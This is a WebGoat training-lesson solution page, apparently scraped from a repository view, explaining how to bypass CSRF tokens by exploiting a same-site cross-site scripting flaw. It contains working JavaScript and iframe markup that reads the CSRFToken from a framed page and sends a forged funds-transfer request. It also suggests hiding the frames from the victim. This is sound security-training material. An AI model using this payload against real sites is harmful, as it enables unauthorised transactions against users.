git-svn-id: http://webgoat.googlecode.com/svn/branches/webgoat-6.0@485 4033779f-a91e-0410-96ef-6bf7bf53c507
		
			
				
	
	
		
			122 lines
		
	
	
		
			7.9 KiB
		
	
	
	
		
			HTML
		
	
	
	
	
	
			
		
		
	
	
			122 lines
		
	
	
		
			7.9 KiB
		
	
	
	
		
			HTML
		
	
	
	
	
	
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 | 
						|
<html>
 | 
						|
<head>
 | 
						|
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
 | 
						|
<title>CSRF Token By-Pass</title>
 | 
						|
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
 | 
						|
</head>
 | 
						|
<body>
 | 
						|
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
 | 
						|
 | 
						|
<p><b>Concept / Topic To Teach:</b><br/>
 | 
						|
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
 | 
						|
</p> 
 | 
						|
 | 
						|
<p>
 | 
						|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into 
 | 
						|
loading a page that contains a 'forged request' to execute commands with the 
 | 
						|
victim's credentials.  </p>
 | 
						|
 | 
						|
<p>Token-based request authentication deters these attacks.  This technique 
 | 
						|
inserts tokens into pages that issue requests.  These tokens are required to 
 | 
						|
complete a request, and help verify that requests are not scripted.  CSRFGuard from OWASP uses 
 | 
						|
this technique to help prevent CSRF attacks.</p>
 | 
						|
 | 
						|
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.  
 | 
						|
Because of the same-origin browser policy, pages from the same domain can read content from 
 | 
						|
other pages from the same domain.  </p>
 | 
						|
 | 
						|
<p><b>General Goal(s):</b><br/>
 | 
						|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious 
 | 
						|
request to transfer funds.  To successfully complete you need to obtain a valid request token.  The 
 | 
						|
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter 
 | 
						|
"transferFunds=main".  Load this page, read the token and append the token in a forged request 
 | 
						|
to transferFunds. When you think the attack is successful, refresh the page and you will find the 
 | 
						|
green check on the left hand side menu.<br/>
 | 
						|
<b>Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.</b>
 | 
						|
</p>
 | 
						|
 | 
						|
<b>Solution:</b><br/>
 | 
						|
 | 
						|
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds.  However,
 | 
						|
a request will not result in a transfer of funds unless it has a correct token.  To find
 | 
						|
a valid token, you could look at the form that the site generates to submit a transfer of funds.   
 | 
						|
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter 
 | 
						|
of "transferFunds=main" <br/>   
 | 
						|
 
 | 
						|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
 | 
						|
<font size="2"><b>Transfer initiation form</b></font>
 | 
						|
</p>
 | 
						|
<p>
 | 
						|
Next look at the source of the page to see what parameter the token comes in. 
 | 
						|
<code>
 | 
						|
<pre id="line538"><span class="start-tag"><form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
 | 
						|
	<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>>
 | 
						|
	<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>>
 | 
						|
	<<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>>
 | 
						|
</pre><pre id="line555"></<span class="end-tag">form</span>></pre>
 | 
						|
</code>
 | 
						|
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
 | 
						|
 | 
						|
<p>This solution loads this page in an iframe and reads the token out of the frame.  
 | 
						|
Note that this is possible because the message originates from the same domain and 
 | 
						|
does not violate the "same origin policy".  So even thought this page has taken 
 | 
						|
measures to prevent CSRF attacks, those measures can be side-stepped because of 
 | 
						|
CSS vulnerabilites.  To pull out the CSRFToken, the following javascript locates the 
 | 
						|
frame, then the form, then saves the token </p>
 | 
						|
 | 
						|
<code><pre>
 | 
						|
var tokenvalue;
 | 
						|
 | 
						|
function readFrame1()
 | 
						|
{
 | 
						|
    var frameDoc = document.getElementById("frame1").contentDocument;
 | 
						|
    var form = frameDoc.getElementsByTagName("form")[1];
 | 
						|
    var token = form.CSRFToken.value;
 | 
						|
    tokenvalue = '&CSRFToken='+token;
 | 
						|
    
 | 
						|
    loadFrame2();
 | 
						|
}
 | 
						|
 | 
						|
function loadFrame2()
 | 
						|
{
 | 
						|
    var testFrame = document.getElementById("frame2");
 | 
						|
    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;	
 | 
						|
}
 | 
						|
</pre></code>
 | 
						|
 | 
						|
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
 | 
						|
LoadFrame2 will then append the token and load a second frame. </p>
 | 
						|
 | 
						|
The following frames loads the transfer page in the first frame.  When it finishes loading, it will
 | 
						|
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
 | 
						|
 | 
						|
<code><pre></pre></code>
 | 
						|
 | 
						|
 | 
						|
<code>
 | 
						|
<pre id="line585"><<span class="start-tag">iframe</span><span class="attribute-name">	src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
 | 
						|
	</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
 | 
						|
	</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
 | 
						|
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
 | 
						|
<<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
 | 
						|
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
 | 
						|
</pre>
 | 
						|
</code>
 | 
						|
 | 
						|
<p>The next picture shows inserting this code into a message:<br/>
 | 
						|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
 | 
						|
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
 | 
						|
 | 
						|
The following picture shows the results of someone hitting this page.  Note that no effort was taken to 
 | 
						|
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows 
 | 
						|
the results of the CSRF attack.  Try another post that will hide these iframes from being noticed.
 | 
						|
<p>The next picture shows inserting this code into a message:<br/>
 | 
						|
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
 | 
						|
<font size="2"><b>Results of viewing the malicious message</b></font>
 | 
						|
 | 
						|
 | 
						|
</p>
 | 
						|
    
 | 
						|
</body>
 | 
						|
</html> |